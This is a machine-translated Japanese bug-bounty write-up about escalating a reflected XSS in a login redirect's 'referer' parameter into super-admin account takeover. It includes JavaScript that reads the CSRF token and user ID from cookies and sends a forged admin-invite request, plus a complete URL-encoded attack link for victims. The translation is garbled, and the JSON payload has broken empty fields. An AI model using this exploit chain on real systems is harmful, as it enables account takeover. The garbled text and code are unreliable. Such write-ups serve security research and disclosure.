ソース:
訳:
XSS を見つける:
偵察を行うときは、通常、 スコープ外の ドメインと関係があるかどうかを確認します ドメインをチェックして、スコープ内の というサブドメインに移動し始めると 。
そのため、 community.example.com 、 リダイレクトするログイン ボタンを見つけ。ユーザーは、最初に スコープ内のメインドメインにログインし、次にこのサブドメインにリダイレクトして、ブラウザでリンクを確認しました。
メインスコープに関連するパラメータか何かがあるかどうかを確認して
このURLを見つけました
https://app.example.com/path/to/authenticate?referer=https%3A%2F%2Fcommunity. example.com%2F
リファラーと呼ばれるパラメータができました、URL の値を持つ。
そこで、いつものように、次の 2 つのことを実行しようとしました。
- SSRF を悪用しようとしましたが、ローカルホストにリダイレクトされ、いくつかの SSRF ペイロードで試しましたが、結果はありませんでした。
- Open Redirect を探してみて、それがうまく機能した場合は、それを Reflected XSS に活用できるかどうかを通常チェックします。そして、この方法でうまくいき。
リファラー 。 パラメータには検証がないため、 JavaScript スキーマとその後にJavaScriptコードを追加すると、正常に動作します
https://app.example.com/path/to/authenticate?referer=javascript:alert(1);//
現在は深刻度 P3 の脆弱性がありますが、XSS がアプリケーションのメイン ドメインに影響を与えることがわかったとき、私は通常、深刻度を上げて、より多くのポイント、お金、知識を獲得し、何か新しいことを学ぶために検索できるように、さらなる悪用を探し。
可能な機能を確認してください:
これで、アプリケーション全体の非常に機密で信頼できるサブドメインで JavaScript を実行できるようになったので、アプリケーション内のすべての機能をチェックして、さらにノイズを発生できるかどうかを確認してみて。
そして、私が見つけたのは次のとおりです。
- ユーザーに現在のパスワードを尋ねずにユーザーの電子メール 機能を変更できるのは素晴らしいことですよね?!
はい、ただし、ユーザーは電子メールに送信される確認リンクにアクセスする必要があります。 、、、悪用できる可能性はあると思いますが、PoC はより複雑になるため、最後の選択にしましょう。 - できる機能 招待を送信 任意のユーザーに制限付き特権ユーザーと同じアカウントに追加するためのと、スーパー管理者 特権ユーザーのオプション! 、、、いいえ! やりましょう!
リクエストの確認:
特権ユーザーの追加リクエストを確認したところ スーパー管理者 重要な点に注意する必要があることがわかりました。 3 つの 、リクエストに含まれるべきもの。
リクエストには以下が含まれている必要があります:
- GET の パラメータ PID 現在のユーザー !
- ヘッダーがあります X-Example-CSRF を持つ CSRF 値 。
- リクエストの本文は、 形式 JSON 含む 電子メールを 適切なロールを持つ招待状の送信先となる です。
したがって、私たちのエクスプロイトは、電子メールを追加する投稿リクエストを送信するフォームを作成するようなものでなければなりません。
このリクエストには、私たちが持っていない被害者ユーザーの PID 番号と CSRF 値が含まれていますが、やはり私たちはそれを持っていません。
そして、ここでの主な問題は、リクエストが JSON 形式であり、HTML フォームではそれを行うことができないことです。
ヘッダーを追加することもできず。
XMLHttpRequest 本文を または XHR リクエストは 含むリクエストを送信し 、 JSON 、 ヘッダーを 追加するのに役立ち。
しかし、まだ不足している情報があるため、さらに掘り下げる必要があり。
リクエストをもう一度詳しく調べたところ、Cookie パラメータには Pid 番号、USER_IDパラメータ内の、example-csrf Cookie パラメータ内のCSRF 値など、非常に役立つ情報が含まれていることがわかり。
これで、必要なものがすべて揃ったので、プロセス全体を行う簡単な JavaScript コードを書いてみて。
var email = "ATTACKER_EMAIl"; |
// Set the attacker email that we will receive the invitation to it. |
var csrf= document.cookie.split('; ').find(row => row.startsWith('example-csrf')).split('=')[1]; |
// Getting the csrf value from [example-csrf] cookie parameter and store it in the csrf variable. |
var pid= document.cookie.split('; ').find(row => row.startsWith('USER_ID')).split('=')[1]; |
// Getting the pid value from [USER_ID] cookie parameter and store it in the pid variable. |
// Initiate the XHR POST request that holds the data we collect! |
var http=new XMLHttpRequest(); |
http.open('POST','https://api.example.com/app/v1/users/add/?Pid='+pid+'&clienttimeout=14000&app=users&version=1.0', true); |
http.withCredentials=true; |
// To send the victim cookies with the request! |
http.setRequestHeader('X-example-CSRF',csrf); |
http.setRequestHeader('Content-type','application/json'); |
// Setting the required headers! |
http.send('{"users":[{"email":"'+email+'" ,"emailSent":true,"firstName":"","lastName":"","roleNames":,"jita":false,"expiresAt":null,"primaryTeamId":-1,"secondaryTeamIds":,"partner":false,"pending":false,"existingInexample":false,"hasTwoFactorBackupCodes":false,"hasTwoFactorConfigured":false,"userAssetsCount":null,"scim":false}],"roleNames":["super-admin"],"teamId":null,"secondaryTeamIds":[],"sendWelcomeEmail":true,"forceWelcomeEmail":true}'); |
-
メールアドレスの設定: 攻撃者のメールアドレス(
ATTACKER_EMAIl
)がemail
変数にセットされています。このメールアドレスに招待や通知が送られる可能性があります。 -
CSRFトークンの取得: ブラウザのクッキーから
example-csrf
という名前のクッキーを検索し、その値(CSRFトークン)をcsrf
変数に保存しています。 -
ユーザIDの取得: ブラウザのクッキーから
USER_ID
という名前のクッキーを検索し、その値(ユーザID)をpid
変数に保存しています。 -
XHRリクエストの初期化: XMLHttpRequestオブジェクトを使用して、APIエンドポイントに対するPOSTリクエストを初期化しています。
-
クッキーの送信:
withCredentials=true
によって、このリクエストにユーザのクッキーが含まれるようにしています。 -
ヘッダの設定: 必要なHTTPヘッダをリクエストに追加しています。特に
X-example-CSRF
ヘッダには、前に取得したCSRFトークンがセットされています。 -
リクエストの送信: 最後に、攻撃者のメールアドレスとその他の情報を含むJSON形式のデータをAPIエンドポイントにPOSTリクエストとして送信しています。このリクエストは、攻撃者のメールアドレスのユーザをシステムに追加しようとするもので、そのユーザには
super-admin
という役割が割り当てられるようです。
参照:
https://gist.github.com/Melotover/642d797ad890780b1aced8bde0acbffc
これで、悪用されるのは、このリンクを被害者に送信することだけになり。
https://app.example.com/path/to/authenticate?referer=javascRipt%3avar+email%3d+"attacher%40email.com"%3bvar+csrf%3d+document.cookie.split('%3b+').find(row+%3d>+row.startsWith('example-csrf')).split('%3d')[1]%3bvar+pid%3d+document.cookie.split('%3b+').find(row+%3d>+row.startsWith('USER_ID')).split('%3d')[1]%3bvar+http%3dnew+XMLHttpRequest()%3bhttp.open('POST','https%3a//api.example.com/app/v1/users/add/%3fPid%3d'%2bpid%2b'%26clienttimeout=14000%26app=users%26version=1.0',+true)%3bhttp.withCredentials%3dtrue%3bhttp.setRequestHeader('X-example-CSRF',csrf)%3bhttp.setRequestHeader('Content-type','application/json')%3bhttp.send('{"users"%3a[{"email"%3a"'%2bemail%2b'","emailSent"%3atrue,"firstName"%3a"","lastName"%3a"","roleNames"%3a,"jita"%3afalse,"expiresAt"%3anull,"primaryTeamId"%3a-1,"secondaryTeamIds"%3a,"partner"%3afalse,"pending"%3afalse,"existingInexample"%3afalse,"hasTwoFactorBackupCodes"%3afalse,"hasTwoFactorConfigured"%3afalse,"userAssetsCount"%3anull,"scim"%3afalse}],"roleNames"%3a["super-admin"],"teamId"%3anull,"secondaryTeamIds"%3a,"sendWelcomeEmail"%3atrue,"forceWelcomeEmail"%3atrue}')%3b
↓
https://app.example.com/path/to/authenticate?referer=javascRipt:var+email=+"attacher@email.com";var+csrf=+document.cookie.split(';+').find(row =>+row.startsWith('example-csrf')).split('=')[1];var+pid=+document.cookie.split(';+').find(row =>+row.startsWith('USER_ID')).split('=')[1];var+http=new+XMLHttpRequest();http.open('POST','https://api.example.com/app/v1/users/add/?Pid='+pid+'&clienttimeout=14000&app=users&version=1.0',+true);http.withCredentials=true;http.setRequestHeader('X-example-CSRF',csrf);http.setRequestHeader('Content-type','application/json');http.send('{"users":[{"email":"'+email+'","emailSent":true,"firstName":"","lastName":"","roleNames":,"jita":false,"expiresAt":null,"primaryTeamId":-1,"secondaryTeamIds":,"partner":false,"pending":false,"existingInexample":false,"hasTwoFactorBackupCodes":false,"hasTwoFactorConfigured":false,"userAssetsCount":null,"scim":false}],"roleNames":["super-admin"],"teamId":null,"secondaryTeamIds":,"sendWelcomeEmail":true,"forceWelcomeEmail":true}');